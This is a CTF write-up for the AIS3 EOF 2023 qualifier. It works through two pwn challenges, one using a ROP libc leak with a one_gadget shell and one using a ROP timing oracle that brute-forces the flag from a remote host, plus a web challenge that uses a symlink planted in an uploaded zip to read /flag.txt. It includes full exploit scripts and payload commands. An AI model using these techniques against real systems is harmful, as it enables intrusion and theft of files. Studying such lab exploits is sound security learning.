AIS3 EOF 2023 初賽
PWN
real_rop
Description
-
Challenge URL
-
Folder structure:
1
2
3
4
5
6
7
8
9
10Share ├── share │ ├── chal │ ├── flag │ ├── Makefile │ ├── real_rop++.c │ └── run.sh ├── docker-compose.yaml ├── Dockerfile └── xinetd
Original Code
#include <unistd.h>
int main()
{
char buf[0x10];
read(0, buf, 0x30);
write(1, buf, 0x30);
return 0;
}
gcc -fno-stack-protector -o chal real_rop++.c
- Obviously buffer overflow but not much
- Preliminary idea is
one_gadget - Check protector
$ checksec chal [*] '/home/sbk6401/CTF/AIS3/PWN/real_rop/share/chal' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled -
PIEis enabled → use write function to leaklibcaddress -
Full RELRO→ cannot useGOT hijacking - Refer to 大神write up, we cannot leak
libcaddress and get shell at one time. So, we can control$ripand return to the beginning ofmainfunction and go through the process again. That is, we have another `read` function to fill inone_gadget. - Note that, the version of Ubuntu and Glibc is VERY VERY important, according to
Dockerfile, it seems use Ubuntu 20.04 with defaultFROM ubuntu:20.04 MAINTAINER u1f383 RUN apt-get update && \ DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd RUN useradd -m chal RUN chown -R root:root /home/chal RUN chmod -R 755 /home/chal CMD ["/usr/sbin/xinetd", "-dontfork"]
Analyze where to return
-
**`For Ubuntu 22.04 & GLIBC 2.35` - back to `__libc_start_main+121`**
$ gdb chal pwndbg> starti pwndbg> vmmap
pwndbg> b _start Breakpoint 15 at 0x555555555080 (2 locations) pwndbg> c
pwndbg> pwndbg> b __libc_start_main Breakpoint 16 at 0x7ffff7db8dc0: file ../csu/libc-start.c, line 242. pwndbg> c pwndbg> ni # until <__libc_start_main+123>
pwndbg> s pwndbg> ni # until <__libc_start_main+123>
pwndbg> s
pwndbg> ni # until <main+62>
### Overall, the sequence is:
_start → 0x0000555555555080 __libc_start_main+123 → 0x00007ffff7db8e3b __libc_start_call_main+126 → 0x00007ffff7db8d8e_start ... _start+31 ↓ __libc_start_main ... __libc_start_main+123 ↓ __libc_start_call_main ... __libc_start_call_main+126 ↓ main ... __libc_start_call_main+128 __libc_start_call_main+130 ↓ exit -
**`For Ubuntu 20.04 & GLIBC 2.31` - back to `__libc_start_main+236`**
Whole processes are almost the same as above, just the sequence is different
### Overall, the sequence is:
_start ... _start+40 ↓ __libc_start_main ... __libc_start_main+241 ↓ main ... __libc_start_main+243 __libc_start_main+245 ↓ exit
Exploit - leak libc address + one_gadget
Use Ubuntu 20.04 that the same as remote server
- Try to control
$ripand return to beginning We can observe stack at the end ofmainfunction. It’ll always return to__libc_start_main+243. Therefore, we can padding garbage bytes and overlap the last byte of$rip.
payload = p64(0) * 3 + int.to_bytes(124, 1, 'little')According to the derivation of last section, we should return to
__libc_start_main+236(the address is0x7ffff7df007cfor temp) and the address of__libc_start_main+243is0x7ffff7df0083(temp), so that we just modify the last bytes → $0x73=124$
- Try to leak
libcoffset -writefunction +gdbWe can observe stack situation before sending payload. The first 3*8 bytes are garbage bytes that we filled at first round.
r.recv(0x18) libc_addr = u64(r.recv(6) + b'\x00\x00') - 0x24083 + 0x7Skip garbage bytes first then receive 6 bytes. Note that
- 0x24083 + 0x7is try and error so that it can be0x7f07a24fb00(temp) checked byvmmap.
- Construct
one_gadgetUsevmmapto check whichlibcversion be used - `/lib/x86_64-linux-gnu/libc-2.31.so`
$ one_gadget /lib/x86_64-linux-gnu/libc-2.31.so ... 0xe3afe execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL ... $ ROPgadget --binary /lib/x86_64-linux-gnu/libc-2.31.so --only "pop|ret" --multibr > one_gadget $ vim one_gadget
Note thatpop_r15_ret = libc_addr + 0x2a3e4 pop_r12_ret = libc_addr + 0x2f709 r.send(p64(0) * 3 + p64(pop_r12_ret) + p64(0) + p64(libc_addr+0xe3afe))$r15has NULL already beforereadfunction, so it’s no need to sendpop_r15_ret.
- Then we got shell!!!
Reference
gdb指令 Linux中誰來呼叫C語言中的main? Docker exec 命令
how2know_revenge
Description
- Challenge:
nc edu-ctf.zoolab.org 10012 - Environment Version: Ubuntu 20.04
- Folder structure:
1
2
3
4
5
6
7
8
9
10Share ├── share │ ├── chal │ ├── flag │ ├── Makefile │ ├── how2know_revenge.c │ └── run.sh ├── docker-compose.yaml ├── Dockerfile └── xinetd
Original Code
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <seccomp.h>
#include <sys/mman.h>
#include <stdlib.h>
static char flag[0x30];
int main()
{
char addr[0x10];
int fd;
scmp_filter_ctx ctx;
fd = open("/home/chal/flag", O_RDONLY);
if (fd == -1)
perror("open"), exit(1);
read(fd, flag, 0x30);
close(fd);
write(1, "talk is cheap, show me the rop\n", 31);
read(0, addr, 0x1000);
ctx = seccomp_init(SCMP_ACT_KILL);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_load(ctx);
seccomp_release(ctx);
return 0;
}
$ gcc -static -fno-stack-protector -o chal how2know_revenge.c -lseccomp
$ checksec chal
[*] '/home/sbk6401/CTF/AIS3/PWN/how2know_revenge/share/chal'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Description & Preliminary Idea
The whole process flow is almost the same as how2know. The difference is global variable turned into local variable and it has buffer overflow obviously. So, we can find various ROP and access into it and brute force to compare the single char of the flag.
Exploit - ROP + how2know
- Find
flagaddress → `0x4de2e0`1
2$ objdump -d -M Intel chal | grep "<flag>" 401cfe: 48 8d 35 db c5 0d 00 lea 0xdc5db(%rip),%rsi # 4de2e0 <flag> - Create
ROPchain$ ROPgadget --binary chal --multibr > rop_gadget $ vim rop_gadgetpop_r14_ret = 0x402797 mov_eax_dword_ptr_rax_ret = 0x4022ee cmp_al_r14b_ret = 0x438c15 jne_0x426148_ret = 0x426159 pop_rbx_ret = 0x401fa2 jmp_rbx = 0x4176fd infinite_loop = p64(pop_rbx_ret) + p64(jmp_rbx) + p64(jmp_rbx) ROP = flat( pop_rax_ret, flag_addr+idx, mov_eax_dword_ptr_rax_ret, pop_r14_ret, guess, cmp_al_r14b_ret, jne_0x426148_ret, ) ROP += infinite_loop- Move the flag address to
$rax, and move the flag string to$eaxnext - Then put our guess single char to
$r14 - Compare
$aland$r14b - If correct, go into infinity loop, otherwise, jump to
0x426148
- Move the flag address to
-
How to know the single char in pwntool side?
When the comparison is correct, it’ll access into infinity loop and
recvfunction will receive something then break while loop and close the connection, otherwise, it’ll jump to0x426148and trigger timeout exception.r.sendafter(b'rop\n',b'a'*0x28 + ROP) try : # If compare not correct, guess++ and access to infinity loop r.recv(timeout=0.5) break except: # If compare correct, pwntool will break out guess += 1 r.close() - Repeat
flag = '' idx = 0 while idx < 48: guess = 0x20 while guess < 0x80 : r = remote('edu-ctf.zoolab.org', 10012) {create ROP} r.sendafter(b'rop\n',b'a'*0x28 + ROP) try : ... except: ... r.close() idx += 1 flag += chr(guess)- Whole exploit ```python!= from pwn import *
context.arch = ‘amd64’
flag_addr = 0x4de2e0 pop_r14_ret = 0x402797 mov_eax_dword_ptr_rax_ret = 0x4022ee cmp_al_r14b_ret = 0x438c15 jne_0x426148_ret = 0x426159
pop_rbx_ret = 0x401fa2 jmp_rbx = 0x4176fd infinite_loop = p64(pop_rbx_ret) + p64(jmp_rbx) + p64(jmp_rbx)
flag = ‘’ idx = 0 while idx < 53: guess = 0x20 while guess < 0x80 : # r = process(‘./chal’) r = remote(‘edu-ctf.zoolab.org’, 10012) ROP = flat( pop_rax_ret, flag_addr+idx, mov_eax_dword_ptr_rax_ret, pop_r14_ret, guess, cmp_al_r14b_ret, jne_0x426148_ret, ) ROP += infinite_loop
1
2
3
4
5
6
7
8
9
10
11
12
13r.sendafter(b'rop\n',b'a'*0x28 + ROP) try : # If compare not correct, guess++ and access to infinity loop r.recv(timeout=0.5) break except: # If compare correct, pwntool will break out guess += 1 r.close() idx += 1 flag += chr(guess) print(flag) print(flag)r.interactive()
1
* <font color="FF0000">Note that</font>: The exploit program will be affected by the internet connection and caused the result is wrong like this:FLA!{CORORO_f8b7d5d23ad03512P6687384b7a2a/00} ‘LAG{CORORO_f8b7d5d23ad03512d6687384b7a2a500} LAG{CRORO_f8b7d5d23ad03512d6687384b7a2a500} FLAG{CO#/RO_f8b7d5d23ad03512d6687384b7a2a500} FLAG{CAMORO_f8b7d5d/3ad03512d6687384!7a2a500xX ``` Thus, you can run much more times to compare the result together so that you can patch up the flag correctly.
Reference
Web
Share
Description
-
Challenge URL
- Folder structure:
1
2
3
4
5
6
7
8
9
10
11
12Share ├── Web │ ├── src │ │ ├── static │ │ │ └── {None} │ │ ├── template │ │ │ ├── index.html │ │ │ └── login.html │ │ └── app.py │ └── Dockerfile ├── docker-compose.yaml └── flag - This website function is let the user can upload compress folder (\*.zip) and the compress folder must contains a `index.html` file so that it can uncompress the folder then redirect to this new page.
- To solve this question, we must use **`symbolic link`**
Observation
- Main program first -
app.pyThis part is aim to unzip the compress folder and redirect to new page -index.htmlthat the user provide... @app.route('/upload', methods=['POST']) def upload_file(): if 'user' not in session: return 'Login first' if 'file' not in request.files or not request.files['file'].filename: return 'Missing file' _sub = session['user'] file = request.files['file'] tmppath = path.join('/tmp', urandom(16).hex()) realpath = safeJoin('/app/static', _sub) if not realpath: return 'No path traversal' if not path.exists(realpath): mkdir(realpath) file.save(tmppath) returncode = run(['unzip', '-qo', tmppath, '-d', realpath]).returncode if returncode != 0: return 'Not a zip file' if not path.isfile(path.join(realpath, 'index.html')): return '"index.html" not found' return redirect(realpath[4:]+'/index.html', code=302) ... -
docker-compose.yamlWe can see that the flag is mounted on `/flag.txt`1
2
3
4
5
6
7
8
9
10version: '3.9' services: web: build: web restart: always ports: - 8080:5000 volumes: - ./flag:/flag.txt:ro
Construct Payload
- So, our first idea is using symbolic link to create a
payload.txtthat link to/flag.txtand compress withindex.htmlthen upload to the web page. - Payload
touch index.html ln -s /flag.txt payload.txt zip --symlinks -ry index.zip payload.txt index.htmlThen rewrite the URL like this: https://share.ctf.zoolab.org/static/123/payload.txt
FLAG{w0W_y0U_r34L1y_kn0w_sYmL1nK!}
Reference
unzipper-ctftime unzipper-mikecat unzipper-nandynarwhals 電腦王-symbolic link Ithelp - symbolic link